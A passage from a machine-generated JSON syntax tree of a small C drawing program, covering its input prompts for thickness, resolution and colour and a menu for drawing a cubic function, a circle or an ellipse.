"scanf(\"%lf\", &thickness)", "parent": 25, "children": [108, 109], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 28}}, {"id": 108, "type": "identifier", "text": "scanf", "parent": 107, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 9}}, {"id": 109, "type": "argument_list", "text": "(\"%lf\", &thickness)", "parent": 107, "children": [110, 111], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 28}}, {"id": 110, "type": "string_literal", "text": "\"%lf\"", "parent": 109, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 15}}, {"id": 111, "type": "pointer_expression", "text": "&thickness", "parent": 109, "children": [112], "start_point": {"row": 20, "column": 17}, "end_point": {"row": 20, "column": 27}}, {"id": 112, "type": "identifier", "text": "thickness", "parent": 111, "children": [], "start_point": {"row": 20, "column": 18}, "end_point": {"row": 20, "column": 27}}, {"id": 113, "type": "call_expression", "text": "printf(\"\\nEnter resolution(decimal):\\n\")", "parent": 25, "children": [114, 115], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 44}}, {"id": 114, "type": "identifier", "text": "printf", "parent": 113, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 10}}, {"id": 115, "type": "argument_list", "text": "(\"\\nEnter resolution(decimal):\\n\")", "parent": 113, "children": [116], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 44}}, {"id": 116, "type": "string_literal", "text": "\"\\nEnter resolution(decimal):\\n\"", "parent": 115, "children": [117, 118], "start_point": {"row": 21, "column": 11}, "end_point": {"row": 21, "column": 43}}, {"id": 117, "type": "escape_sequence", "text": "\\n", "parent": 116, "children": [], "start_point": {"row": 21, "column": 12}, "end_point": {"row": 21, "column": 14}}, {"id": 118, "type": "escape_sequence", "text": "\\n", "parent": 116, "children": [], "start_point": {"row": 21, "column": 40}, "end_point": {"row": 21, "column": 42}}, {"id": 119, "type": "call_expression", "text": "scanf(\"%lf\", &resolution)", "parent": 25, "children": [120, 121], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 29}}, {"id": 120, "type": "identifier", "text": "scanf", "parent": 119, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 9}}, {"id": 121, "type": "argument_list", "text": "(\"%lf\", &resolution)", "parent": 119, "children": [122, 123], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 29}}, {"id": 122, "type": "string_literal", "text": "\"%lf\"", "parent": 121, "children": [], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 15}}, {"id": 123, "type": "pointer_expression", "text": "&resolution", "parent": 121, "children": [124], "start_point": {"row": 22, "column": 17}, "end_point": {"row": 22, "column": 28}}, {"id": 124, "type": "identifier", "text": "resolution", "parent": 123, "children": [], "start_point": {"row": 22, "column": 18}, "end_point": {"row": 22, "column": 28}}, {"id": 125, "type": "call_expression", "text": "set_thickness_resolution(figure, thickness, resolution)", "parent": 25, "children": [126, 127], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 59}}, {"id": 126, "type": "identifier", "text": "set_thickness_resolution", "parent": 125, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 28}}, {"id": 127, "type": "argument_list", "text": "(figure, thickness, resolution)", "parent": 125, "children": [128, 129, 130], "start_point": {"row": 23, "column": 28}, "end_point": {"row": 23, "column": 59}}, {"id": 128, "type": "identifier", "text": "figure", "parent": 127, "children": [], "start_point": {"row": 23, "column": 29}, "end_point": {"row": 23, "column": 35}}, {"id": 129, "type": "identifier", "text": "thickness", "parent": 127, "children": [], "start_point": {"row": 23, "column": 37}, "end_point": {"row": 23, "column": 46}}, {"id": 130, "type": "identifier", "text": "resolution", "parent": 127, "children": [], "start_point": {"row": 23, "column": 48}, "end_point": {"row": 23, "column": 58}}, {"id": 131, "type": "call_expression", "text": "printf(\"\\nEnter red, blue and green value of your color(integer integer integer):\\n\")", "parent": 25, "children": [132, 133], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 89}}, {"id": 132, "type": "identifier", "text": "printf", "parent": 131, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 10}}, {"id": 133, "type": "argument_list", "text": "(\"\\nEnter red, blue and green value of your color(integer integer integer):\\n\")", "parent": 131, "children": [134], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 89}}, {"id": 134, "type": "string_literal", "text": "\"\\nEnter red, blue and green value of your color(integer integer integer):\\n\"", "parent": 133, "children": [135, 136], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 88}}, {"id": 135, "type": "escape_sequence", "text": "\\n", "parent": 134, "children": [], "start_point": {"row": 25, "column": 12}, "end_point": {"row": 25, "column": 14}}, {"id": 136, "type": "escape_sequence", "text": "\\n", "parent": 134, "children": [], "start_point": {"row": 25, "column": 85}, "end_point": {"row": 25, "column": 87}}, {"id": 137, "type": "call_expression", "text": "scanf(\"%d%d%d\", &r, &g, &b)", "parent": 25, "children": [138, 139], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 31}}, {"id": 138, "type": "identifier", "text": "scanf", "parent": 137, "children": [], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 9}}, {"id": 139, "type": "argument_list", "text": "(\"%d%d%d\", &r, &g, &b)", "parent": 137, "children": [140, 141, 143, 145], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 31}}, {"id": 140, "type": "string_literal", "text": "\"%d%d%d\"", "parent": 139, "children": [], "start_point": {"row": 26, "column": 10}, "end_point": {"row": 26, "column": 18}}, {"id": 141, "type": "pointer_expression", "text": "&r", "parent": 139, "children": [142], "start_point": {"row": 26, "column": 20}, "end_point": {"row": 26, "column": 22}}, {"id": 142, "type": "identifier", "text": "r", "parent": 141, "children": [], "start_point": {"row": 26, "column": 21}, "end_point": {"row": 26, "column": 22}}, {"id": 143, "type": "pointer_expression", "text": "&g", "parent": 139, "children": [144], "start_point": {"row": 26, "column": 24}, "end_point": {"row": 26, "column": 26}}, {"id": 144, "type": "identifier", "text": "g", "parent": 143, "children": [], "start_point": {"row": 26, "column": 25}, "end_point": {"row": 26, "column": 26}}, {"id": 145, "type": "pointer_expression", "text": "&b", "parent": 139, "children": [146], "start_point": {"row": 26, "column": 28}, "end_point": {"row": 26, "column": 30}}, {"id": 146, "type": "identifier", "text": "b", "parent": 145, "children": [], "start_point": {"row": 26, "column": 29}, "end_point": {"row": 26, "column": 30}}, {"id": 147, "type": "assignment_expression", "text": "color->r = r", "parent": 25, "children": [148, 151, 152], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 16}}, {"id": 148, "type": "field_expression", "text": "color->r", "parent": 147, "children": [149, 150], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 12}}, {"id": 149, "type": "identifier", "text": "color", "parent": 148, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 9}}, {"id": 150, "type": "field_identifier", "text": "r", "parent": 148, "children": [], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 12}}, {"id": 151, "type": "=", "text": "=", "parent": 147, "children": [], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 14}}, {"id": 152, "type": "identifier", "text": "r", "parent": 147, "children": [], "start_point": {"row": 27, "column": 15}, "end_point": {"row": 27, "column": 16}}, {"id": 153, "type": "assignment_expression", "text": "color->g = g", "parent": 25, "children": [154, 157, 158], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 16}}, {"id": 154, "type": "field_expression", "text": "color->g", "parent": 153, "children": [155, 156], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 12}}, {"id": 155, "type": "identifier", "text": "color", "parent": 154, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 9}}, {"id": 156, "type": "field_identifier", "text": "g", "parent": 154, "children": [], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 12}}, {"id": 157, "type": "=", "text": "=", "parent": 153, "children": [], "start_point": {"row": 28, "column": 13}, "end_point": {"row": 28, "column": 14}}, {"id": 158, "type": "identifier", "text": "g", "parent": 153, "children": [], "start_point": {"row": 28, "column": 15}, "end_point": {"row": 28, "column": 16}}, {"id": 159, "type": "assignment_expression", "text": "color->b = b", "parent": 25, "children": [160, 163, 164], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 16}}, {"id": 160, "type": "field_expression", "text": "color->b", "parent": 159, "children": [161, 162], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 12}}, {"id": 161, "type": "identifier", "text": "color", "parent": 160, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 9}}, {"id": 162, "type": "field_identifier", "text": "b", "parent": 160, "children": [], "start_point": {"row": 29, "column": 11}, "end_point": {"row": 29, "column": 12}}, {"id": 163, "type": "=", "text": "=", "parent": 159, "children": [], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 14}}, {"id": 164, "type": "identifier", "text": "b", "parent": 159, "children": [], "start_point": {"row": 29, "column": 15}, "end_point": {"row": 29, "column": 16}}, {"id": 165, "type": "call_expression", "text": "set_color(figure, *color)", "parent": 25, "children": [166, 167], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 29}}, {"id": 166, "type": "identifier", "text": "set_color", "parent": 165, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 13}}, {"id": 167, "type": "argument_list", "text": "(figure, *color)", "parent": 165, "children": [168, 169], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 29}}, {"id": 168, "type": "identifier", "text": "figure", "parent": 167, "children": [], "start_point": {"row": 30, "column": 14}, "end_point": {"row": 30, "column": 20}}, {"id": 169, "type": "pointer_expression", "text": "*color", "parent": 167, "children": [170, 171], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 28}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 23}}, {"id": 171, "type": "identifier", "text": "color", "parent": 169, "children": [], "start_point": {"row": 30, "column": 23}, "end_point": {"row": 30, "column": 28}}, {"id": 172, "type": "call_expression", "text": "menu(figure)", "parent": 25, "children": [173, 174], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 16}}, {"id": 173, "type": "identifier", "text": "menu", "parent": 172, "children": [], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 8}}, {"id": 174, "type": "argument_list", "text": "(figure)", "parent": 172, "children": [175], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 16}}, {"id": 175, "type": "identifier", "text": "figure", "parent": 174, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 15}}, {"id": 176, "type": "return_statement", "text": "return 0;", "parent": 25, "children": [177], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 13}}, {"id": 177, "type": "number_literal", "text": "0", "parent": 176, "children": [], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 12}}, {"id": 178, "type": "function_definition", "text": "void menu(Figure * figure){\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *center = (Point2D*)malloc(sizeof(Point2D));\n \n printf(\"\\nSelect your choice:\\n\");\n printf(\"1) Draw function f(x) = x^3\\n\");\n printf(\"2) Draw circle\\n\");\n printf(\"3) Draw ellipse\\n\");\n printf(\"4) Exit\\n\");\n printf(\"\\nChoice:\");\n scanf(\"%d\", &choice);\n\n switch(choice){\n case 1:\n printf(\"\\n\\nEnter domain of the function [decimal,decimal]:\");\n scanf(\"%lf%lf\", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\n\\nEnter radius of the circle (integer):\");\n scanf(\"%lf\", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\");\n scanf(\"%lf%lf\", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf(\"Wrong input!\");\n break;\n }\n}", "parent": null, "children": [179, 180], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 90, "column": 1}}, {"id": 179, "type": "primitive_type", "text": "void", "parent": 178, "children": [], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 4}}, {"id": 180, "type": "function_declarator", "text": "menu(Figure * figure)", "parent": 178, "children": [181, 182], "start_point": {"row": 46, "column": 5}, "end_point": {"row": 46, "column": 26}}, {"id": 181, "type": "identifier", "text": "menu", "parent": 180, "children": [], "start_point": {"row": 46, "column": 5}, "end_point": {"row": 46, "column": 9}}, {"id": 182, "type": "parameter_list", "text": "(Figure * figure)", "parent": 180, "children": [183], "start_point": {"row": 46, "column": 9}, "end_point": {"row": 46, "column": 26}}, {"id": 183, "type": "parameter_declaration", "text": "Figure * figure", "parent": 182, "children": [184, 185], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 25}}, {"id": 184, "type": "type_identifier", "text": "Figure", "parent": 183, "children": [], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 16}}, {"id": 185, "type": "pointer_declarator", "text": "* figure", "parent": 183, "children": [186, 187], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 25}}, {"id": 186, "type": "*", "text": "*", "parent": 185, "children": [], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 18}}, {"id": 187, "type": "identifier", "text": "figure", "parent": 185, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 25}}, {"id": 188, "type": "declaration", "text": "int choice, x, y;", "parent": 178, "children": [189, 190, 191, 192], "start_point": {"row": 47, "column": 4}, "end_point": {"row": 47, "column": 21}}, {"id": 189, "type": "primitive_type", "text": "int", "parent": 188, "children": [], "start_point": {"row": 47, "column": 4}, "end_point": {"row": 47, "column": 7}}, {"id": 190, "type": "identifier", "text": "choice", "parent": 188, "children": [], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 14}}, {"id": 191, "type": "identifier", "text": "x", "parent": 188, "children": [], "start_point": {"row": 47, "column": 16}, "end_point": {"row": 47, "column": 17}}, {"id": 192, "type": "identifier", "text": "y", "parent": 188, "children": [], "start_point": {"row": 47, "column": 19}, "end_point": {"row": 47, "column": 20}}, {"id": 193, "type": "declaration", "text": "double start_x, end_x, r, a, b;", "parent": 178, "children": [194, 195, 196, 197, 198, 199], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 35}}, {"id": 194, "type": "primitive_type", "text": "double", "parent": 193, "children": [], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 10}}, {"id": 195, "type": "identifier", "text": "start_x", "parent": 193, "children": [], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 18}}, {"id": 196, "type": "identifier", "text": "end_x", "parent": 193, "children": [], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 25}}, {"id": 197, "type": "identifier", "text": "r", "parent": 193, "children": [], "start_point": {"row": 48, "column": 27}, "end_point": {"row": 48, "column": 28}}, {"id": 198, "type": "identifier", "text": "a", "parent": 193, "children": [], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 31}}, {"id": 199, "type": "identifier", "text": "b", "parent": 193, "children": [], "start_point": {"row": 48, "column": 33}, "end_point": {"row": 48, "column": 34}}, {"id": 200, "type": "declaration", "text": "Point2D *center = (Point2D*)malloc(sizeof(Point2D));", "parent": 178, "children": [201, 202], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 56}}, {"id": 201, "type": "type_identifier", "text": "Point2D", "parent": 200, "children": [], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 11}}, {"id": 202, "type": "init_declarator", "text": "*center = (Point2D*)malloc(sizeof(Point2D))", "parent": 200, "children": [203, 206, 207], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 49, "column": 55}}, {"id": 203, "type": "pointer_declarator", "text": "*center", "parent": 202, "children": [204, 205], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 49, "column": 19}}, {"id": 204, "type": "*", "text": "*", "parent": 203, "children": [], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 49, "column": 13}}, {"id": 205, "type": "identifier", "text": "center", "parent": 203, "children": [], "start_point": {"row": 49, "column": 13}, "end_point": {"row": 49, "column": 19}}, {"id": 206, "type": "=", "text": "=", "parent": 202, "children": [], "start_point": {"row": 49, "column": 20}, "end_point": {"row": 49, "column": 21}}, {"id": 207, "type": "cast_expression", "text": "(Point2D*)malloc(sizeof(Point2D))", "parent": 202, "children": [208, 212], "start_point": {"row": 49, "column": 22}, "end_point": {"row": 49, "column": 55}}, {"id": 208, "type": "type_descriptor", "text": "Point2D*", "parent": 207, "children": [209, 210], "start_point": {"row": 49, "column": 23}, "end_point": {"row": 49, "column": 31}}, {"id": 209, "type": "type_identifier", "text": "Point2D", "parent": 208, "children": [], "start_point": {"row": 49, "column": 23}, "end_point": {"row": 49, "column": 30}}, {"id": 210, "type": "abstract_pointer_declarator", "text": "*", "parent": 208, "children": [211], "start_point": {"row": 49, "column": 30}, "end_point": {"row": 49, "column": 31}}, {"id": 211, "type": "*", "text": "*", "parent": 210, "children": [], "start_point": {"row": 49, "column": 30}, "end_point": {"row": 49, "column": 31}}, {"id": 212, "type": "call_expression", "text": "malloc(sizeof(Point2D))", "parent": 207, "children": [213, 214], "start_point": {"row": 49, "column": 32}, "end_point": {"row": 49, "column": 55}}, {"id": 213, "type": "identifier", "text": "malloc", "parent": 212, "children": [], "start_point": {"row": 49, "column": 32}, "end_point": {"row": 49, "column": 38}}, {"id": 214, "type": "argument_list", "text": "(sizeof(Point2D))", "parent": 212, "children": [215], "start_point": {"row": 49, "column": 38}, "end_point": {"row": 49, "column": 55}}, {"id": 215, "type": "sizeof_expression", "text": "sizeof(Point2D)", "parent": 214, "children": [216], "start_point": {"row": 49, "column": 39}, "end_point": {"row": 49, "column": 54}}, {"id": 216, "type": "parenthesized_expression", "text": "(Point2D)", "parent": 215, "children": [217], "start_point": {"row": 49, "column": 45}, "end_point": {"row": 49, "column": 54}}, {"id": 217, "type": "identifier", "text": "Point2D", "parent": 216, "children": [], "start_point": {"row": 49, "column": 46}, "end_point": {"row": 49, "column": 53}}, {"id": 218, "type": "call_expression", "text": "printf(\"\\nSelect your choice:\\n\")", "parent": 178, "children": [219, 220], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 37}}, {"id": 219, "type": "identifier", "text": "printf", "parent": 218, "children": [], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 10}}, {"id": 220, "type": "argument_list", "text": "(\"\\nSelect your choice:\\n\")", "parent": 218, "children": [221], "start_point": {"row": 51, "column": 10}, "end_point": {"row": 51, "column": 37}}, {"id": 221, "type": "string_literal", "text": "\"\\nSelect your choice:\\n\"", "parent": 220, "children": [222, 223], "start_point": {"row": 51, "column": 11}, "end_point": {"row": 51, "column": 36}}, {"id": 222, "type": "escape_sequence", "text": "\\n", "parent": 221, "children": [], "start_point": {"row": 51, "column": 12}, "end_point": {"row": 51, "column": 14}}, {"id": 223, "type": "escape_sequence", "text": "\\n", "parent": 221, "children": [], "start_point": {"row": 51, "column": 33}, "end_point": {"row": 51, "column": 35}}, {"id": 224, "type": "call_expression", "text": "printf(\"1) Draw function f(x) = x^3\\n\")", "parent": 178, "children": [225, 226], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 43}}, {"id": 225, "type": "identifier", "text": "printf", "parent": 224, "children": [], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 10}}, {"id": 226, "type": "argument_list", "text": "(\"1) Draw function f(x) = x^3\\n\")", "parent": 224, "children": [227], "start_point": {"row": 52, "column": 10}, "end_point": {"row": 52, "column": 43}}, {"id": 227, "type": "string_literal", "text": "\"1) Draw function f(x) = x^3\\n\"", "parent": 226, "children": [228], "start_point": {"row": 52, "column": 11}, "end_point": {"row": 52, "column": 42}}, {"id": 228, "type": "escape_sequence", "text": "\\n", "parent": 227, "children": [], "start_point": {"row": 52, "column": 39}, "end_point": {"row": 52, "column": 41}}, {"id": 229, "type": "call_expression", "text": "printf(\"2) Draw circle\\n\")", "parent": 178, "children": [230, 231], "start_point": {"row": 53, "column": 4}, "end_point": {"row": 53, "column": 30}}, {"id": 230, "type": "identifier", "text": "printf", "parent": 229, "children": [], "start_point": {"row": 53, "column": 4}, "end_point": {"row": 53, "column": 10}}, {"id": 231, "type": "argument_list", "text": "(\"2) Draw circle\\n\")", "parent": 229, "children": [232], "start_point": {"row": 53, "column": 10}, "end_point": {"row": 53, "column": 30}}, {"id": 232, "type": "string_literal", "text": "\"2) Draw circle\\n\"", "parent": 231, "children": [233], "start_point": {"row": 53, "column": 11}, "end_point": {"row": 53, "column": 29}}, {"id": 233, "type": "escape_sequence", "text": "\\n", "parent": 232, "children": [], "start_point": {"row": 53, "column": 26}, "end_point": {"row": 53, "column": 28}}, {"id": 234, "type": "call_expression", "text": "printf(\"3) Draw ellipse\\n\")", "parent": 178, "children": [235, 236], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 31}}, {"id": 235, "type": "identifier", "text": "printf", "parent": 234, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 10}}, {"id": 236, "type": "argument_list", "text": "(\"3) Draw ellipse\\n\")", "parent": 234, "children": [237], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 31}}, {"id": 237, "type": "string_literal", "text": "\"3) Draw ellipse\\n\"", "parent": 236, "children": [238], "start_point": {"row": 54, "column": 11}, "end_point": {"row": 54, "column": 30}}, {"id": 238, "type": "escape_sequence", "text": "\\n", "parent": 237, "children": [], "start_point": {"row": 54, "column": 27}, "end_point": {"row": 54, "column": 29}}, {"id": 239, "type": "call_expression", "text": "printf(\"4) Exit\\n\")", "parent": 178, "children": [240, 241], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 23}}, {"id": 240, "type": "identifier", "text": "printf", "parent": 239, "children": [], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 10}}, {"id": 241, "type": "argument_list", "text": "(\"4) Exit\\n\")", "parent": 239, "children": [242], "start_point": {"row": 55, "column": 10}, "end_point": {"row": 55, "column": 23}}, {"id": 242, "type": "string_literal", "text": "\"4) Exit\\n\"", "parent": 241, "children": [243], "start_point": {"row": 55, "column": 11}, "end_point": {"row": 55, "column": 22}}, {"id": 243, "type": "escape_sequence", "text": "\\n", "parent": 242, "children": [], "start_point": {"row": 55, "column": 19}, "end_point": {"row": 55, "column": 21}}, {"id": 244, "type": "call_expression", "text": "printf(\"\\nChoice:\")", "parent": 178, "children": [245, 246], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 23}}, {"id": 245, "type": "identifier", "text": "printf", "parent": 244, "children": [], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 10}}, {"id": 246, "type": "argument_list", "text": "(\"\\nChoice:\")", "parent": 244, "children": [247], "start_point": {"row": 56, "column": 10}, "end_point": {"row": 56, "column": 23}}, {"id": 247, "type": "string_literal", "text": "\"\\nChoice:\"", "parent": 246, "children": [248], "start_point": {"row": 56, "column": 11}, "end_point": {"row": 56, "column": 22}}, {"id": 248, "type": "escape_sequence", "text": "\\n", "parent": 247, "children": [], "start_point": {"row": 56, "column": 12}, "end_point": {"row": 56, "column": 14}}, {"id": 249, "type": "call_expression", "text": "scanf(\"%d\", &choice)", "parent": 178, "children": [250, 251], "start_point": {"row": 57, "column": 4}, "end_point": {"row": 57, "column": 24}}, {"id": 250, "type": "identifier", "text": "scanf", "parent": 249, "children": [], "start_point": {"row": 57, "column": 4}, "end_point": {"row": 57, "column": 9}}, {"id": 251, "type": "argument_list", "text": "(\"%d\", &choice)", "parent": 249, "children": [252, 253], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 24}}, {"id": 252, "type": "string_literal", "text": "\"%d\"", "parent": 251, "children": [], "start_point": {"row": 57, "column": 10}, "end_point": {"row": 57, "column": 14}}, {"id": 253, "type": "pointer_expression", "text": "&choice", "parent": 251, "children": [254], "start_point": {"row": 57, "column": 16}, "end_point": {"row": 57, "column": 23}}, {"id": 254, "type": "identifier", "text": "choice", "parent": 253, "children": [], "start_point": {"row": 57, "column": 17}, "end_point": {"row": 57, "column": 23}}, {"id": 255, "type": "switch_statement", "text": "switch(choice){\n case 1:\n printf(\"\\n\\nEnter domain of the function [decimal,decimal]:\");\n scanf(\"%lf%lf\", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf(\"\\n\\nEnter center point(x,y) of the circle (integer integer):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\n\\nEnter radius of the circle (integer):\");\n scanf(\"%lf\", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf(\"\\n\\nEnter center point of the ellipse (integer x, integer y):\");\n scanf(\"%d%d\", &x, &y);\n center->x = x;\n center->y = y;\n printf(\"\\nEnter major and minor axises of the ellipse (decimal, decimal):\");\n scanf(\"%lf%lf\", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf(\"Wrong input!\");\n break;\n }", "parent": 178, "children": [256, 257], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 89, "column": 5}}, {"id": 256, "type": "switch", "text": "switch", "parent": 255, "children": [], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 10}}, {"id": 257, "type": "parenthesized_expression", "text": "(choice)", "parent": 255, "children": [258], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 18}}, {"id": 258, "type": "identifier", "text": "choice", "parent": 257, "children": [], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 17}}, {"id": 259, "type": "case_statement", "text": "case 1:\n printf(\"\\n\\nEnter domain of the function [decimal,decimal]:\");\n scanf(\"%lf%lf\", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;", "parent": 255, "children": [260, 261, 283], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 64, "column": 18}}, {"id": 260, "type": "case", "text": "case", "parent": 259, "children": [], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 60, "column": 12}}, {"id": 261, "type": "number_literal", "text": "1", "parent": 259, "children": [], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 14}}, {"id": 262, "type": "call_expression", "text": "printf(\"\\n\\nEnter domain of the function [decimal,decimal]:\")", "parent": 259, "children": [263, 264], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 73}}, {"id": 263, "type": "identifier", "text": "printf", "parent": 262, "children": [], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 18}}, {"id": 264, "type": "argument_list", "text": "(\"\\n\\nEnter domain of the function [decimal,decimal]:\")", "parent": 262, "children": [265], "start_point": {"row": 61, "column": 18}, "end_point": {"row": 61, "column": 73}}, {"id": 265, "type": "string_literal", "text": "\"\\n\\nEnter domain of the function [decimal,decimal]:\"", "parent": 264, "children": [266, 267], "start_point": {"row": 61, "column": 19}, "end_point": {"row": 61, "column": 72}}, {"id": 266, "type": "escape_sequence", "text": "\\n", "parent": 265, "children": [], "start_point": {"row": 61, "column": 20}, "end_point": {"row": 61, "column": 22}}, {"id": 267, "type": "escape_sequence", "text": "\\n", "parent": 265, "children": [], "start_point": {"row": 61, "column": 22}, "end_point": {"row": 61, "column": 24}}, {"id": 268, "type": "call_expression", "text": "scanf(\"%lf%lf\", &start_x, &end_x)", "parent": 259, "children": [269, 270], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 45}}, {"id": 269, "type": "identifier", "text": "scanf", "parent": 268, "children": [], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 17}}, {"id": 270, "type": "argument_list", "text": "(\"%lf%lf\", &start_x, &end_x)", "parent": 268, "children": [271, 272, 274], "start_point": {"row": 62, "column": 17}, "end_point": {"row": 62, "column": 45}}, {"id": 271, "type": "string_literal", "text": "\"%lf%lf\"", "parent": 270, "children": [], "start_point": {"row": 62, "column": 18}, "end_point": {"row": 62, "column": 26}}, {"id": 272, "type": "pointer_expression", "text": "&start_x", "parent": 270, "children": [273], "start_point": {"row": 62, "column": 28}, "end_point": {"row": 62, "column": 36}}, {"id": 273, "type": "identifier", "text": "start_x", "parent": 272, "children": [], "start_point": {"row": 62, "column": 29}, "end_point": {"row": 62, "column": 36}}, {"id": 274, "type": "pointer_expression", "text": "&end_x", "parent": 270, "children": [275], "start_point": {"row": 62, "column": 38}, "end_point": {"row": 62, "column": 44}}, {"id": 275, "type": "identifier", "text": "end_x", "parent": 274, "children": [], "start_point": {"row": 62, "column": 39}, "end_point": {"row": 62, "column": 44}}, {"id": 276, "type": "call_expression", "text": "draw_fx(figure, g, start_x, end_x)", "parent": 259, "children": [277, 278], "start_point": {"row": 63, "column": 12}, "end_point": {"row": 63, "column": 46}}, {"id": 277, "type": "identifier", "text": "draw_fx", "parent": 276, "children": [], "start_point": {"row": 63, "column": 12}, "end_point": {"row": 63, "column": 